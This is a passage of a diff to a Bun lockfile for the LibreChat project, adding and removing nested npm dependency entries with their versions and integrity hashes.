"@librechat/frontend/@testing-library/jest-dom/dom-accessibility-api": ["dom-accessibility-api@0.5.16", "", {}, "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg=="],
- "@librechat/frontend/@testing-library/jest-dom/lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
-
"@librechat/frontend/framer-motion/motion-dom": ["motion-dom@11.18.1", "", { "dependencies": { "motion-utils": "^11.18.1" } }, "sha512-g76KvA001z+atjfxczdRtw/RXOM3OMSdd1f4DL77qCTF/+avrRJiawSG4yDibEQ215sr9kpinSlX2pCTJ9zbhw=="],
"@librechat/frontend/framer-motion/motion-utils": ["motion-utils@11.18.1", "", {}, "sha512-49Kt+HKjtbJKLtgO/LKj9Ld+6vw9BjH5d9sc40R/kVyH8GLAXgT42M2NnuPcJNuA3s9ZfZBUcwIgpmZWGEE+hA=="],
+ "@librechat/frontend/jest-environment-jsdom/@jest/environment": ["@jest/environment@29.7.0", "", { "dependencies": { "@jest/fake-timers": "^29.7.0", "@jest/types": "^29.6.3", "@types/node": "*", "jest-mock": "^29.7.0" } }, "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw=="],
+
+ "@librechat/frontend/jest-environment-jsdom/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
+
+ "@librechat/frontend/jest-environment-jsdom/@types/jsdom": ["@types/jsdom@20.0.1", "", { "dependencies": { "@types/node": "*", "@types/tough-cookie": "*", "parse5": "^7.0.0" } }, "sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom": ["jsdom@20.0.3", "", { "dependencies": { "abab": "^2.0.6", "acorn": "^8.8.1", "acorn-globals": "^7.0.0", "cssom": "^0.5.0", "cssstyle": "^2.3.0", "data-urls": "^3.0.2", "decimal.js": "^10.4.2", "domexception": "^4.0.0", "escodegen": "^2.0.0", "form-data": "^4.0.0", "html-encoding-sniffer": "^3.0.0", "http-proxy-agent": "^5.0.0", "https-proxy-agent": "^5.0.1", "is-potential-custom-element-name": "^1.0.1", "nwsapi": "^2.2.2", "parse5": "^7.1.1", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^4.1.2", "w3c-xmlserializer": "^4.0.0", "webidl-conversions": "^7.0.0", "whatwg-encoding": "^2.0.0", "whatwg-mimetype": "^3.0.0", "whatwg-url": "^11.0.0", "ws": "^8.11.0", "xml-name-validator": "^4.0.0" }, "peerDependencies": { "canvas": "^2.5.0" }, "optionalPeers": ["canvas"] }, "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ=="],
+
"@mcp-ui/client/@modelcontextprotocol/sdk/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
- "@mcp-ui/client/@modelcontextprotocol/sdk/express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="],
-
"@mcp-ui/client/@modelcontextprotocol/sdk/express-rate-limit": ["express-rate-limit@7.5.0", "", { "peerDependencies": { "express": "^4.11 || 5 || ^5.0.0-beta.1" } }, "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg=="],
- "@mcp-ui/client/@modelcontextprotocol/sdk/zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
-
"@modelcontextprotocol/sdk/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
"@node-saml/passport-saml/@types/express/@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A=="],
@@ -7733,32 +7147,18 @@
"@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/@opentelemetry/sdk-logs": ["@opentelemetry/sdk-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
-
- "@opentelemetry/otlp-transformer/protobufjs/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
"@radix-ui/react-arrow/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
"@radix-ui/react-checkbox/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
"@radix-ui/react-checkbox/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ=="],
- "@radix-ui/react-dialog/@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ=="],
-
- "@radix-ui/react-dialog/@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ=="],
-
- "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
-
- "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
-
"@radix-ui/react-dropdown-menu/@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-+FPE0rOdziWSrH9athwI1R0HDVbWlEhd+FR+aSDk4uWGmSJ9Z54sdZVDQPZAinJhJXwfT+qnj969mCsT2gfm5w=="],
"@radix-ui/react-dropdown-menu/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.1.0", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-FUCf5XMfmW4dtYl69pdS4DbxKy8nj4M7SafBgPllysxmdachynNflAdp/gCsnYWNDnge6tI9onzMp5ARYc1KNw=="],
"@radix-ui/react-dropdown-menu/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw=="],
- "@radix-ui/react-focus-scope/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
-
"@radix-ui/react-hover-card/@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ=="],
"@radix-ui/react-hover-card/@radix-ui/react-dismissable-layer/@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-vyL82j40hcFicA+M4Ex7hVkB9vHgSse1ZWomAqV2Je3RleKGO5iM8KMOEtfoSB0PnIelMd2lATjTGMYqN5ylTg=="],
@@ -7799,12 +7199,8 @@
"@radix-ui/react-popper/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
- "@radix-ui/react-portal/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
-
"@radix-ui/react-progress/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.1.2", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-YAKxaiGsSQJ38VzKH86/BPRC4rh+b1Jpa+JneA5LRE7skmLPNAyeG8kPJj/oo4STLvlrs8vkf/iYyc3A5stYCQ=="],
- "@radix-ui/react-select/@radix-ui/react-dismissable-layer/@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="],
-
"@radix-ui/react-select/@radix-ui/react-popper/@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w=="],
"@radix-ui/react-select/@radix-ui/react-popper/@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.1", "", { "dependencies": { "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w=="],
@@ -7841,51 +7237,25 @@
"@smithy/credential-provider-imds/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@3.0.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahM1lQv2YjmznnfQsWbYojFe55l0SLG/988brlLv1i8z3dubloLF+75ATRsqPBboUXsW6I9CPGE5rQgLfY0vQ=="],
- "@types/body-parser/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@types/connect/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@types/express-serve-static-core/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@types/jsdom/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@types/jsonwebtoken/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@types/ldapjs/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@types/node-fetch/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@types/send/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@types/serve-static/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
"@types/winston/winston/logform": ["logform@2.6.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-1ulHeNPp6k/LD8H91o7VYFBng5i1BDE7HoKxVbZiGFidS1Rj65qcywLxX+pVfAPoQJEjRdvKcusKwOupHCVOVQ=="],
- "@types/winston/winston/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
-
"@types/winston/winston/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="],
- "@types/xml-encryption/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@types/xml2js/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
"@typescript-eslint/typescript-estree/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
"ajv-formats/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
- "babel-plugin-transform-import-meta/@babel/template/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
+ "browserify-sign/readable-stream/core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
- "babel-plugin-transform-import-meta/@babel/template/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
+ "browserify-sign/readable-stream/isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="],
- "babel-plugin-transform-import-meta/@babel/template/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "body-parser/raw-body/http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="],
-
- "bun-types/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "caniuse-api/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "caniuse-api/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
+ "browserify-sign/readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="],
"caniuse-api/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
@@ -7901,38 +7271,14 @@
"compression/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
- "core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "core-js-compat/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
-
- "core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
-
- "cytoscape-fcose/cose-base/layout-base": ["layout-base@2.0.1", "", {}, "sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg=="],
-
- "d3-sankey/d3-array/internmap": ["internmap@1.0.1", "", {}, "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw=="],
-
- "d3-sankey/d3-shape/d3-path": ["d3-path@1.0.9", "", {}, "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg=="],
-
"data-urls/whatwg-url/tr46": ["tr46@5.1.1", "", { "dependencies": { "punycode": "^2.3.1" } }, "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw=="],
"data-urls/whatwg-url/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
